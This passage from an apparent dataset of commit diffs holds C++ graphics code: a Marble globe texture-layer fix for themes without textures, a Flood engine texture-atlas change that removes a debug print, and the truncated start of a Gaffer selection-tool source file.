TextureLayer::setMapTheme( const QVector<const GeoSceneTextureTile *> &textures, const GeoSceneGroup *textureLayerSettings, const QString &seaFile, const QString &landFile )\n{\n    delete d->m_texcolorizer;\n    d->m_texcolorizer = 0;\n\n    if ( QFileInfo( seaFile ).isReadable() || QFileInfo( landFile ).isReadable() ) {\n        d->m_texcolorizer = new TextureColorizer( seaFile, landFile, d->m_veccomposer );\n    }\n\n    d->m_textures = textures;\n    d->m_textureLayerSettings = textureLayerSettings;\n\n    if ( d->m_textureLayerSettings ) {\n        connect( d->m_textureLayerSettings, SIGNAL(valueChanged(QString,bool)),\n                 this,                      SLOT(updateTextureLayers()) );\n    }\n\n    d->updateTextureLayers();\n}\n\nint TextureLayer::tileZoomLevel() const\n{\n    return d->m_tileZoomLevel;\n}\n\nQSize TextureLayer::tileSize() const\n{\n    return d->m_tileLoader.tileSize();\n}\n\nGeoSceneTiled::Projection TextureLayer::tileProjection() const\n{\n    return d->m_tileLoader.tileProjection();\n}\n\nint TextureLayer::tileColumnCount( int level ) const\n{\n    return d->m_tileLoader.tileColumnCount( level );\n}\n\nint TextureLayer::tileRowCount( int level ) const\n{\n    return d->m_tileLoader.tileRowCount( level );\n}\n\nqint64 TextureLayer::volatileCacheLimit() const\n{\n    return d->m_tileLoader.volatileCacheLimit();\n}\n\nint TextureLayer::preferredRadiusCeil( int radius ) const\n{\n    const int tileWidth = d->m_tileLoader.tileSize().width();\n    const int levelZeroColumns = d->m_tileLoader.tileColumnCount( 0 );\n    const qreal linearLevel = 4.0 * (qreal)( radius ) \/ (qreal)( tileWidth * levelZeroColumns );\n    const qreal tileLevelF = qLn( linearLevel ) \/ qLn( 2.0 );\n    const int tileLevel = qCeil( tileLevelF );\n\n    if ( tileLevel < 0 )\n        return ( tileWidth * levelZeroColumns \/ 4 ) >> (-tileLevel);\n\n    return ( tileWidth * levelZeroColumns \/ 4 ) << tileLevel;\n}\n\nint TextureLayer::preferredRadiusFloor( int radius ) const\n{\n    const int tileWidth = d->m_tileLoader.tileSize().width();\n    const int levelZeroColumns = d->m_tileLoader.tileColumnCount( 0 );\n    const qreal linearLevel = 4.0 * (qreal)( radius ) \/ (qreal)( tileWidth * levelZeroColumns );\n    const qreal tileLevelF = qLn( linearLevel ) \/ qLn( 2.0 );\n    const int tileLevel = qFloor( tileLevelF );\n\n    if ( tileLevel < 0 )\n        return ( tileWidth * levelZeroColumns \/ 4 ) >> (-tileLevel);\n\n    return ( tileWidth * levelZeroColumns \/ 4 ) << tileLevel;\n}\n\n}\n\n#include \"TextureLayer.moc\"\n<commit_msg>Don't crash with texture-less themes (e.g. plain map).<commit_after>\/\/\n\/\/ This file is part of the Marble Virtual Globe.\n\/\/\n\/\/ This program is free software licensed under the GNU LGPL. You can\n\/\/ find a copy of this license in LICENSE.txt in the top directory of\n\/\/ the source code.\n\/\/\n\/\/ Copyright 2006-2007 Torsten Rahn <tackat@kde.org>\n\/\/ Copyright 2007      Inge Wallin  <ingwa@kde.org>\n\/\/ Copyright 2008, 2009, 2010 Jens-Michael Hoffmann <jmho@c-xx.com>\n\/\/ Copyright 2010-2012 Bernhard Beschow <bbeschow@cs.tu-berlin.de>\/\/\n\n#include \"TextureLayer.h\"\n\n#include <QtCore\/qmath.h>\n#include <QtCore\/QTimer>\n\n#include \"SphericalScanlineTextureMapper.h\"\n#include \"EquirectScanlineTextureMapper.h\"\n#include \"MercatorScanlineTextureMapper.h\"\n#include \"TileScalingTextureMapper.h\"\n#include \"GeoPainter.h\"\n#include \"GeoSceneGroup.h\"\n#include \"GeoSceneTypes.h\"\n#include \"MergedLayerDecorator.h\"\n#include \"MarbleDebug.h\"\n#include \"MarbleDirs.h\"\n#include \"StackedTile.h\"\n#include \"StackedTileLoader.h\"\n#include \"SunLocator.h\"\n#include \"TextureColorizer.h\"\n#include \"TileLoader.h\"\n#include \"VectorComposer.h\"\n#include \"ViewportParams.h\"\n\nnamespace Marble\n{\n\nconst int REPAINT_SCHEDULING_INTERVAL = 1000;\n\nclass TextureLayer::Private\n{\npublic:\n    Private( HttpDownloadManager *downloadManager,\n             const SunLocator *sunLocator,\n             VectorComposer *veccomposer,\n             const PluginManager *pluginManager,\n             TextureLayer *parent );\n\n    void mapChanged();\n    void updateTextureLayers();\n    void updateTile( const TileId &tileId, const QImage &tileImage );\n\npublic:\n    TextureLayer  *const m_parent;\n    const SunLocator *const m_sunLocator;\n    VectorComposer *const m_veccomposer;\n    TileLoader m_loader;\n    MergedLayerDecorator m_layerDecorator;\n    StackedTileLoader    m_tileLoader;\n    int m_tileZoomLevel;\n    TextureMapperInterface *m_texmapper;\n    TextureColorizer *m_texcolorizer;\n    QVector<const GeoSceneTextureTile *> m_textures;\n    const GeoSceneGroup *m_textureLayerSettings;\n    QString m_runtimeTrace;\n    \/\/ For scheduling repaints\n    QTimer           m_repaintTimer;\n\n};\n\nTextureLayer::Private::Private( HttpDownloadManager *downloadManager,\n                                const SunLocator *sunLocator,\n                                VectorComposer *veccomposer,\n                                const PluginManager *pluginManager,\n                                TextureLayer *parent )\n    : m_parent( parent )\n    , m_sunLocator( sunLocator )\n    , m_veccomposer( veccomposer )\n    , m_loader( downloadManager, pluginManager )\n    , m_layerDecorator( &m_loader, sunLocator )\n    , m_tileLoader( &m_layerDecorator )\n    , m_tileZoomLevel( -1 )\n    , m_texmapper( 0 )\n    , m_texcolorizer( 0 )\n    , m_textureLayerSettings( 0 )\n    , m_repaintTimer()\n{\n}\n\nvoid TextureLayer::Private::mapChanged()\n{\n    if ( m_texmapper ) {\n        m_texmapper->setRepaintNeeded();\n    }\n\n    if ( !m_repaintTimer.isActive() ) {\n        m_repaintTimer.start();\n    }\n}\n\nvoid TextureLayer::Private::updateTextureLayers()\n{\n    QVector<GeoSceneTextureTile const *> result;\n\n    foreach ( const GeoSceneTextureTile *candidate, m_textures ) {\n        bool enabled = true;\n        if ( m_textureLayerSettings ) {\n            const bool propertyExists = m_textureLayerSettings->propertyValue( candidate->name(), enabled );\n            enabled |= !propertyExists; \/\/ if property doesn't exist, enable texture nevertheless\n        }\n        if ( enabled ) {\n            result.append( candidate );\n            mDebug() << \"enabling texture\" << candidate->name();\n        } else {\n            mDebug() << \"disabling texture\" << candidate->name();\n        }\n    }\n\n    if ( !result.isEmpty() ) {\n        const GeoSceneTextureTile *const firstTexture = result.at( 0 );\n        m_layerDecorator.setLevelZeroLayout( firstTexture->levelZeroColumns(), firstTexture->levelZeroRows() );\n        m_layerDecorator.setThemeId( \"maps\/\" + firstTexture->sourceDir() );\n    }\n    m_tileLoader.setTextureLayers( result );\n}\n\nvoid TextureLayer::Private::updateTile( const TileId &tileId, const QImage &tileImage )\n{\n    if ( tileImage.isNull() )\n        return; \/\/ keep tiles in cache to improve performance\n\n    m_tileLoader.updateTile( tileId, tileImage );\n\n    mapChanged();\n}\n\n\n\nTextureLayer::TextureLayer( HttpDownloadManager *downloadManager,\n                            const SunLocator *sunLocator,\n                            VectorComposer *veccomposer ,\n                            const PluginManager *pluginManager )\n    : QObject()\n    , d( new Private( downloadManager, sunLocator, veccomposer, pluginManager, this ) )\n{\n    connect( &d->m_loader, SIGNAL(tileCompleted(TileId,QImage)),\n             this, SLOT(updateTile(TileId,QImage)) );\n\n    \/\/ Repaint timer\n    d->m_repaintTimer.setSingleShot( true );\n    d->m_repaintTimer.setInterval( REPAINT_SCHEDULING_INTERVAL );\n    connect( &d->m_repaintTimer, SIGNAL(timeout()),\n             this, SIGNAL(repaintNeeded()) );\n\n    connect( d->m_veccomposer, SIGNAL(datasetLoaded()),\n             this, SLOT(mapChanged()) );\n}\n\nTextureLayer::~TextureLayer()\n{\n    delete d->m_texmapper;\n    delete d->m_texcolorizer;\n    delete d;\n}\n\nQStringList TextureLayer::renderPosition() const\n{\n    return QStringList() << \"SURFACE\";\n}\n\nvoid TextureLayer::addSeaDocument( const GeoDataDocument *seaDocument )\n{\n    if( d->m_texcolorizer ) {\n        d->m_texcolorizer->addSeaDocument( seaDocument );\n        reset();\n    }\n}\n\nvoid TextureLayer::addLandDocument( const GeoDataDocument *landDocument )\n{\n    if( d->m_texcolorizer ) {\n        d->m_texcolorizer->addLandDocument( landDocument );\n        reset();\n    }\n}\n\nbool TextureLayer::showSunShading() const\n{\n    return d->m_layerDecorator.showSunShading();\n}\n\nbool TextureLayer::showCityLights() const\n{\n    return d->m_layerDecorator.showCityLights();\n}\n\nbool TextureLayer::render( GeoPainter *painter, ViewportParams *viewport,\n                           const QString &renderPos, GeoSceneLayer *layer )\n{\n    Q_UNUSED( renderPos );\n    Q_UNUSED( layer );\n\n    \/\/ Stop repaint timer if it is already running\n    d->m_repaintTimer.stop();\n\n    if ( d->m_textures.isEmpty() )\n        return false;\n\n    if ( d->m_tileLoader.textureLayersSize() == 0 )\n        return false;\n\n    if ( !d->m_texmapper )\n        return false;\n\n    \/\/ choose the smaller dimension for selecting the tile level, leading to higher-resolution results\n    const int levelZeroWidth = d->m_tileLoader.tileSize().width() * d->m_tileLoader.tileColumnCount( 0 );\n    const int levelZeroHight = d->m_tileLoader.tileSize().height() * d->m_tileLoader.tileRowCount( 0 );\n    const int levelZeroMinDimension = qMin( levelZeroWidth, levelZeroHight );\n\n    \/\/ limit to 1 as dirty fix for invalid entry linearLevel\n    const qreal linearLevel = qMax( 1.0, viewport->radius() * 4.0 \/ levelZeroMinDimension );\n\n    \/\/ As our tile resolution doubles with each level we calculate\n    \/\/ the tile level from tilesize and the globe radius via log(2)\n    const qreal tileLevelF = qLn( linearLevel ) \/ qLn( 2.0 ) * 1.00001;  \/\/ snap to the sharper tile level a tiny bit earlier\n                                                                         \/\/ to work around rounding errors when the radius\n                                                                         \/\/ roughly equals the global texture width\n\n    const int tileLevel = qMin<int>( d->m_tileLoader.maximumTileLevel(), tileLevelF );\n\n    if ( tileLevel != d->m_tileZoomLevel ) {\n        d->m_tileZoomLevel = tileLevel;\n        emit tileLevelChanged( d->m_tileZoomLevel );\n    }\n\n    const QRect dirtyRect = QRect( QPoint( 0, 0), viewport->size() );\n    d->m_texmapper->mapTexture( painter, viewport, d->m_tileZoomLevel, dirtyRect, d->m_texcolorizer );\n    d->m_runtimeTrace = QString(\"Cache: %1 \").arg(d->m_tileLoader.tileCount());\n    return true;\n}\n\nQString TextureLayer::runtimeTrace() const\n{\n    return d->m_runtimeTrace;\n}\n\nvoid TextureLayer::setShowRelief( bool show )\n{\n    if ( d->m_texcolorizer ) {\n        d->m_texcolorizer->setShowRelief( show );\n    }\n}\n\nvoid TextureLayer::setShowSunShading( bool show )\n{\n    disconnect( d->m_sunLocator, SIGNAL(positionChanged(qreal,qreal)),\n                this, SLOT(reset()) );\n\n    if ( show ) {\n        connect( d->m_sunLocator, SIGNAL(positionChanged(qreal,qreal)),\n                 this,       SLOT(reset()) );\n    }\n\n    d->m_layerDecorator.setShowSunShading( show );\n\n    reset();\n}\n\nvoid TextureLayer::setShowCityLights( bool show )\n{\n    d->m_layerDecorator.setShowCityLights( show );\n\n    reset();\n}\n\nvoid TextureLayer::setShowTileId( bool show )\n{\n    d->m_layerDecorator.setShowTileId( show );\n\n    reset();\n}\n\nvoid TextureLayer::setProjection( Projection projection )\n{\n    if ( d->m_textures.isEmpty() ) {\n        return;\n    }\n\n    \/\/ FIXME: replace this with an approach based on the factory method pattern.\n    delete d->m_texmapper;\n\n    switch( projection ) {\n        case Spherical:\n            d->m_texmapper = new SphericalScanlineTextureMapper( &d->m_tileLoader );\n            break;\n        case Equirectangular:\n            d->m_texmapper = new EquirectScanlineTextureMapper( &d->m_tileLoader );\n            break;\n        case Mercator:\n            if ( d->m_tileLoader.tileProjection() == GeoSceneTiled::Mercator ) {\n                d->m_texmapper = new TileScalingTextureMapper( &d->m_tileLoader );\n            } else {\n                d->m_texmapper = new MercatorScanlineTextureMapper( &d->m_tileLoader );\n            }\n            break;\n        default:\n            d->m_texmapper = 0;\n    }\n    Q_ASSERT( d->m_texmapper );\n}\n\nvoid TextureLayer::setNeedsUpdate()\n{\n    if ( d->m_texmapper ) {\n        d->m_texmapper->setRepaintNeeded();\n    }\n}\n\nvoid TextureLayer::setVolatileCacheLimit( quint64 kilobytes )\n{\n    d->m_tileLoader.setVolatileCacheLimit( kilobytes );\n}\n\nvoid TextureLayer::reset()\n{\n    mDebug() << Q_FUNC_INFO;\n\n    d->m_tileLoader.clear();\n    d->mapChanged();\n}\n\nvoid TextureLayer::reload()\n{\n    d->m_tileLoader.reloadVisibleTiles();\n}\n\nvoid TextureLayer::downloadStackedTile( const TileId &stackedTileId )\n{\n    d->m_tileLoader.downloadStackedTile( stackedTileId );\n}\n\nvoid TextureLayer::setMapTheme( const QVector<const GeoSceneTextureTile *> &textures, const GeoSceneGroup *textureLayerSettings, const QString &seaFile, const QString &landFile )\n{\n    delete d->m_texcolorizer;\n    d->m_texcolorizer = 0;\n\n    if ( QFileInfo( seaFile ).isReadable() || QFileInfo( landFile ).isReadable() ) {\n        d->m_texcolorizer = new TextureColorizer( seaFile, landFile, d->m_veccomposer );\n    }\n\n    d->m_textures = textures;\n    d->m_textureLayerSettings = textureLayerSettings;\n\n    if ( d->m_textureLayerSettings ) {\n        connect( d->m_textureLayerSettings, SIGNAL(valueChanged(QString,bool)),\n                 this,                      SLOT(updateTextureLayers()) );\n    }\n\n    d->updateTextureLayers();\n}\n\nint TextureLayer::tileZoomLevel() const\n{\n    return d->m_tileZoomLevel;\n}\n\nQSize TextureLayer::tileSize() const\n{\n    return d->m_tileLoader.tileSize();\n}\n\nGeoSceneTiled::Projection TextureLayer::tileProjection() const\n{\n    return d->m_tileLoader.tileProjection();\n}\n\nint TextureLayer::tileColumnCount( int level ) const\n{\n    return d->m_tileLoader.tileColumnCount( level );\n}\n\nint TextureLayer::tileRowCount( int level ) const\n{\n    return d->m_tileLoader.tileRowCount( level );\n}\n\nqint64 TextureLayer::volatileCacheLimit() const\n{\n    return d->m_tileLoader.volatileCacheLimit();\n}\n\nint TextureLayer::preferredRadiusCeil( int radius ) const\n{\n    const int tileWidth = d->m_tileLoader.tileSize().width();\n    const int levelZeroColumns = d->m_tileLoader.tileColumnCount( 0 );\n    const qreal linearLevel = 4.0 * (qreal)( radius ) \/ (qreal)( tileWidth * levelZeroColumns );\n    const qreal tileLevelF = qLn( linearLevel ) \/ qLn( 2.0 );\n    const int tileLevel = qCeil( tileLevelF );\n\n    if ( tileLevel < 0 )\n        return ( tileWidth * levelZeroColumns \/ 4 ) >> (-tileLevel);\n\n    return ( tileWidth * levelZeroColumns \/ 4 ) << tileLevel;\n}\n\nint TextureLayer::preferredRadiusFloor( int radius ) const\n{\n    const int tileWidth = d->m_tileLoader.tileSize().width();\n    const int levelZeroColumns = d->m_tileLoader.tileColumnCount( 0 );\n    const qreal linearLevel = 4.0 * (qreal)( radius ) \/ (qreal)( tileWidth * levelZeroColumns );\n    const qreal tileLevelF = qLn( linearLevel ) \/ qLn( 2.0 );\n    const int tileLevel = qFloor( tileLevelF );\n\n    if ( tileLevel < 0 )\n        return ( tileWidth * levelZeroColumns \/ 4 ) >> (-tileLevel);\n\n    return ( tileWidth * levelZeroColumns \/ 4 ) << tileLevel;\n}\n\n}\n\n#include \"TextureLayer.moc\"\n<|endoftext|>"}
{"text":"<commit_before>\/************************************************************************\n*\n* Flood Project  (2008-201x)\n* Licensed under the simplified BSD license. All rights reserved.\n*\n************************************************************************\/\n\n#pragma once\n\n#include \"Engine\/API.h\"\n#include \"Engine\/Texture\/TextureAtlas.h\"\n\nNAMESPACE_ENGINE_BEGIN\n\n\/\/-----------------------------------\/\/\n\nstatic const MaxRectsBinPack::FreeRectChoiceHeuristic gs_heuristic = \n             MaxRectsBinPack::FreeRectChoiceHeuristic::RectBestAreaFit;\n\nTextureAtlas::TextureAtlas(uint maxSize)\n{\n    atlasMaxSize = maxSize;\n    atlasSize = std::min(maxSize, DefaultSize);\n    rectanglePacker.Init(atlasSize,atlasSize);\n    atlasImageHandle = ImageCreate(AllocatorGetHeap(),atlasSize,atlasSize,PixelFormat::R8G8B8A8);\n}\n\nstatic const int RBLOCK = 96;\n\n\/\/ We use this function to rotate images in-place since sometimes\n\/\/ the packing algorithm will rotate the image to have a better fit.\nstatic void RotateImage(Image* srcImage, Image* dstImage, Vector2i dstOffset)\n{\n    assert(srcImage->getPixelFormat() == dstImage->getPixelFormat());\n\n    int bpp = srcImage->getPixelSize();\n\n    int srcWidth = srcImage->getWidth();\n    int srcHeight = srcImage->getHeight();\n    int dstWidth = srcHeight;\n    int dstHeight = srcWidth;\n\n    \/\/ get src and dst scan width\n    int srcPitch  = srcWidth*bpp;\n    int dstPitch  = dstImage->getWidth()*bpp;\n\n    byte* bsrc = srcImage->getBuffer().data();\n    byte* bdst = dstImage->getBuffer().data();\n\n    for(int xs = 0; xs < dstWidth; xs += RBLOCK) {    \/\/ for all image blocks of RBLOCK*RBLOCK pixels\n        for(int ys = 0; ys < dstHeight; ys += RBLOCK) {\n            for(int y = ys; y < std::min(dstHeight, ys + RBLOCK); y++) {    \/\/ do rotation\n                int y2 = dstHeight - y - 1;\n                \/\/ point to src pixel at (y2, xs)\n                byte* src_bits = bsrc + (xs * srcPitch) + (y2 * bpp);\n                \/\/ point to dst pixel at (xs, y)\n                byte* dst_bits = bdst + (( y + dstOffset.y) * dstPitch) + ((xs + dstOffset.x) * bpp);\n                for (int x = xs; x < std::min(dstWidth, xs + RBLOCK); x++) {\n                    \/\/ dst.SetPixel(x, y, src.GetPixel(y2, x));\n                    for(int j = 0; j < bpp; j++) {\n                        dst_bits[j] = src_bits[j];\n                    }\n                    dst_bits += bpp;\n                    src_bits += srcPitch;\n                }\n            }\n        }\n    }\n}\n\nbool TextureAtlas::addImage(const ImageHandle& newImageHandle) \n{\n    printf(\"%i\\n\",newImageHandle.id);\n\n    if(imageSubTextures.find( newImageHandle ) != imageSubTextures.end())\n        return true;\n\n    Image* newImage = newImageHandle.Resolve();\n    \n\n    Rect newRect = rectanglePacker.Insert(newImage->getWidth(), newImage->getHeight(), gs_heuristic);\n\n    if (newRect.height == 0 || newRect.width == 0){\n        if (atlasSize >= atlasMaxSize)\n            return false;\n\n        atlasSize = std::min(atlasSize*2, atlasMaxSize);\n        resizeAtlas(atlasSize);\n\n        return addImage(newImageHandle);\n    }\n\n    addImage(newImageHandle,newRect);\n\n    return true;\n}\n\nbool TextureAtlas::getImageSubTexture(const ImageHandle& imageHandle, SubTexture& subTexture)\n{\n    if(imageSubTextures.find( imageHandle ) == imageSubTextures.end())\n        return false;\n\n    subTexture = imageSubTextures[imageHandle];\n    return true;\n}\n\nImageHandle TextureAtlas::getAtlasImageHandle() const\n{\n    return atlasImageHandle;\n}\n\n\nvoid TextureAtlas::resizeAtlas(uint newSize)\n{\n    rectanglePacker.Init(newSize,newSize);\n\n    std::vector<RectSize> rectSizes;\n    std::vector<Rect> newRects;\n\n    Image* atlasImage = atlasImageHandle.Resolve();\n\n    std::map<ImageHandle, SubTexture>::iterator iter;\n    for (iter = imageSubTextures.begin(); iter != imageSubTextures.end(); ++iter) {\n        RectSize rectSize;\n        rectSize.width = iter->second.rect.width;\n        rectSize.height = iter->second.rect.height;\n        rectSizes.push_back(rectSize);\n    }\n\n    rectanglePacker.Insert(rectSizes, newRects, gs_heuristic);\n\n    assert(newRects.size() == imageSubTextures.size());\n\n    int i;\n    for (i = 0, iter = imageSubTextures.begin(); iter != imageSubTextures.end(); ++iter, ++i) \n    {\n        ImageHandle newImageHandle = iter->first;\n        Rect newRect = newRects[i];\n\n        addImage(newImageHandle, newRect);\n    }\n}\n\nvoid TextureAtlas::addImage(ImageHandle newImageHandle, Rect newRect)\n{\n    Image* newImage = newImageHandle.Resolve();\n\n    bool wasRotated = newImage->getWidth() == newRect.height &&\n                      newImage->getHeight() == newRect.width;\n\n    Image* atlasImage = atlasImageHandle.Resolve();\n    if (newImage->getPixelFormat() == atlasImage->getPixelFormat())\n    {\n        atlasImage->setBuffer(newImage,Vector2i(newRect.x,newRect.y));\n    } \n    else \n    {\n         assert(newImage->getPixelFormat() == PixelFormat::Depth &&\n                atlasImage->getPixelFormat() == PixelFormat::R8G8B8A8);\n\n         Image tmpImage(newImage->getWidth(),newImage->getHeight(),PixelFormat::R8G8B8A8);\n\n         int newImageSize = newImage->getSize();\n         std::vector<byte>& buffer = tmpImage.getBuffer();\n         buffer.resize(newImageSize*4,0);\n\n         for (int i = 0; i < newImageSize; i++)\n         {\n             buffer[i*4+3] = newImage->getBuffer()[i]; \/\/A\n         }\n\n         if (wasRotated)\n            RotateImage(&tmpImage,atlasImage,Vector2i(newRect.x,newRect.y));\n         else\n            atlasImage->setBuffer(&tmpImage,Vector2i(newRect.x,newRect.y));\n    }\n\n    SubTexture subTexture;\n    subTexture.rect = newRect;\n    subTexture.isRotated = wasRotated;\n    \n    imageSubTextures[newImageHandle] = subTexture;\n}\n\n\/\/-----------------------------------\/\/\n\nNAMESPACE_ENGINE_END<commit_msg>Remove extra print.<commit_after>\/************************************************************************\n*\n* Flood Project  (2008-201x)\n* Licensed under the simplified BSD license. All rights reserved.\n*\n************************************************************************\/\n\n#pragma once\n\n#include \"Engine\/API.h\"\n#include \"Engine\/Texture\/TextureAtlas.h\"\n\nNAMESPACE_ENGINE_BEGIN\n\n\/\/-----------------------------------\/\/\n\nstatic const MaxRectsBinPack::FreeRectChoiceHeuristic gs_heuristic = \n             MaxRectsBinPack::FreeRectChoiceHeuristic::RectBestAreaFit;\n\nTextureAtlas::TextureAtlas(uint maxSize)\n{\n    atlasMaxSize = maxSize;\n    atlasSize = std::min(maxSize, DefaultSize);\n    rectanglePacker.Init(atlasSize,atlasSize);\n    atlasImageHandle = ImageCreate(AllocatorGetHeap(),atlasSize,atlasSize,PixelFormat::R8G8B8A8);\n}\n\nstatic const int RBLOCK = 96;\n\n\/\/ We use this function to rotate images in-place since sometimes\n\/\/ the packing algorithm will rotate the image to have a better fit.\nstatic void RotateImage(Image* srcImage, Image* dstImage, Vector2i dstOffset)\n{\n    assert(srcImage->getPixelFormat() == dstImage->getPixelFormat());\n\n    int bpp = srcImage->getPixelSize();\n\n    int srcWidth = srcImage->getWidth();\n    int srcHeight = srcImage->getHeight();\n    int dstWidth = srcHeight;\n    int dstHeight = srcWidth;\n\n    \/\/ get src and dst scan width\n    int srcPitch  = srcWidth*bpp;\n    int dstPitch  = dstImage->getWidth()*bpp;\n\n    byte* bsrc = srcImage->getBuffer().data();\n    byte* bdst = dstImage->getBuffer().data();\n\n    for(int xs = 0; xs < dstWidth; xs += RBLOCK) {    \/\/ for all image blocks of RBLOCK*RBLOCK pixels\n        for(int ys = 0; ys < dstHeight; ys += RBLOCK) {\n            for(int y = ys; y < std::min(dstHeight, ys + RBLOCK); y++) {    \/\/ do rotation\n                int y2 = dstHeight - y - 1;\n                \/\/ point to src pixel at (y2, xs)\n                byte* src_bits = bsrc + (xs * srcPitch) + (y2 * bpp);\n                \/\/ point to dst pixel at (xs, y)\n                byte* dst_bits = bdst + (( y + dstOffset.y) * dstPitch) + ((xs + dstOffset.x) * bpp);\n                for (int x = xs; x < std::min(dstWidth, xs + RBLOCK); x++) {\n                    \/\/ dst.SetPixel(x, y, src.GetPixel(y2, x));\n                    for(int j = 0; j < bpp; j++) {\n                        dst_bits[j] = src_bits[j];\n                    }\n                    dst_bits += bpp;\n                    src_bits += srcPitch;\n                }\n            }\n        }\n    }\n}\n\nbool TextureAtlas::addImage(const ImageHandle& newImageHandle) \n{\n    if(imageSubTextures.find( newImageHandle ) != imageSubTextures.end())\n        return true;\n\n    Image* newImage = newImageHandle.Resolve();\n\n    Rect newRect = rectanglePacker.Insert(newImage->getWidth(), newImage->getHeight(), gs_heuristic);\n\n    if (newRect.height == 0 || newRect.width == 0){\n        if (atlasSize >= atlasMaxSize)\n            return false;\n\n        atlasSize = std::min(atlasSize*2, atlasMaxSize);\n        resizeAtlas(atlasSize);\n\n        return addImage(newImageHandle);\n    }\n\n    addImage(newImageHandle,newRect);\n\n    return true;\n}\n\nbool TextureAtlas::getImageSubTexture(const ImageHandle& imageHandle, SubTexture& subTexture)\n{\n    if(imageSubTextures.find( imageHandle ) == imageSubTextures.end())\n        return false;\n\n    subTexture = imageSubTextures[imageHandle];\n    return true;\n}\n\nImageHandle TextureAtlas::getAtlasImageHandle() const\n{\n    return atlasImageHandle;\n}\n\n\nvoid TextureAtlas::resizeAtlas(uint newSize)\n{\n    rectanglePacker.Init(newSize,newSize);\n\n    std::vector<RectSize> rectSizes;\n    std::vector<Rect> newRects;\n\n    Image* atlasImage = atlasImageHandle.Resolve();\n\n    std::map<ImageHandle, SubTexture>::iterator iter;\n    for (iter = imageSubTextures.begin(); iter != imageSubTextures.end(); ++iter) {\n        RectSize rectSize;\n        rectSize.width = iter->second.rect.width;\n        rectSize.height = iter->second.rect.height;\n        rectSizes.push_back(rectSize);\n    }\n\n    rectanglePacker.Insert(rectSizes, newRects, gs_heuristic);\n\n    assert(newRects.size() == imageSubTextures.size());\n\n    int i;\n    for (i = 0, iter = imageSubTextures.begin(); iter != imageSubTextures.end(); ++iter, ++i) \n    {\n        ImageHandle newImageHandle = iter->first;\n        Rect newRect = newRects[i];\n\n        addImage(newImageHandle, newRect);\n    }\n}\n\nvoid TextureAtlas::addImage(ImageHandle newImageHandle, Rect newRect)\n{\n    Image* newImage = newImageHandle.Resolve();\n\n    bool wasRotated = newImage->getWidth() == newRect.height &&\n                      newImage->getHeight() == newRect.width;\n\n    Image* atlasImage = atlasImageHandle.Resolve();\n    if (newImage->getPixelFormat() == atlasImage->getPixelFormat())\n    {\n        atlasImage->setBuffer(newImage,Vector2i(newRect.x,newRect.y));\n    } \n    else \n    {\n         assert(newImage->getPixelFormat() == PixelFormat::Depth &&\n                atlasImage->getPixelFormat() == PixelFormat::R8G8B8A8);\n\n         Image tmpImage(newImage->getWidth(),newImage->getHeight(),PixelFormat::R8G8B8A8);\n\n         int newImageSize = newImage->getSize();\n         std::vector<byte>& buffer = tmpImage.getBuffer();\n         buffer.resize(newImageSize*4,0);\n\n         for (int i = 0; i < newImageSize; i++)\n         {\n             buffer[i*4+3] = newImage->getBuffer()[i]; \/\/A\n         }\n\n         if (wasRotated)\n            RotateImage(&tmpImage,atlasImage,Vector2i(newRect.x,newRect.y));\n         else\n            atlasImage->setBuffer(&tmpImage,Vector2i(newRect.x,newRect.y));\n    }\n\n    SubTexture subTexture;\n    subTexture.rect = newRect;\n    subTexture.isRotated = wasRotated;\n    \n    imageSubTextures[newImageHandle] = subTexture;\n}\n\n\/\/-----------------------------------\/\/\n\nNAMESPACE_ENGINE_END<|endoftext|>"}
{"text":"<commit_before>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/  Copyright (c) 2014, Image Engine Design Inc. All rights reserved.\n\/\/\n\/\/  Redistribution and use in source and binary forms, with or without\n\/\/  modification, are permitted provided that the following conditions are\n\/\/  met:\n\/\/\n\/\/      * Redistributions of source code must retain the above\n\/\/        copyright notice, this list of conditions and the following\n\/\/        disclaimer.\n\/\/\n\/\/      * Redistributions in binary form must reproduce the above\n\/\/        copyright notice, this list of conditions and the following\n\/\/        disclaimer in the documentation and\/or other materials provided with\n\/\/        the distribution.\n\/\/\n\/\/      * Neither the name of John Haddon nor the names of\n\/\/        any other contributors to this software may be used to endorse or\n\/\/        promote products derived from this software without specific prior\n\/\/        written permission.\n\/\/\n\/\/  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS\n\/\/  IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n\/\/  THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n\/\/  PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR\n\/\/  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n\/\/  EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n\/\/  PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n\/\/  PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n\/\/  LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n\/\/  NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n\/\/  SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"GafferSceneUI\/SelectionTool.h\"\n\n#include \"GafferSceneUI\/ContextAlgo.h\"\n#include \"GafferSceneUI\/SceneView.h\"\n\n#include \"GafferScene\/ScenePlug.h\"\n\n#include \"GafferUI\/Pointer.h\"\n#include \"GafferUI\/Style.h\"\n\n#include \"boost\/bind.hpp\"\n\nusing namespace Imath;\nusing namespace IECore;\nusing namespace Gaffer;\nusing namespace GafferUI;\nusing namespace GafferScene;\nusing namespace 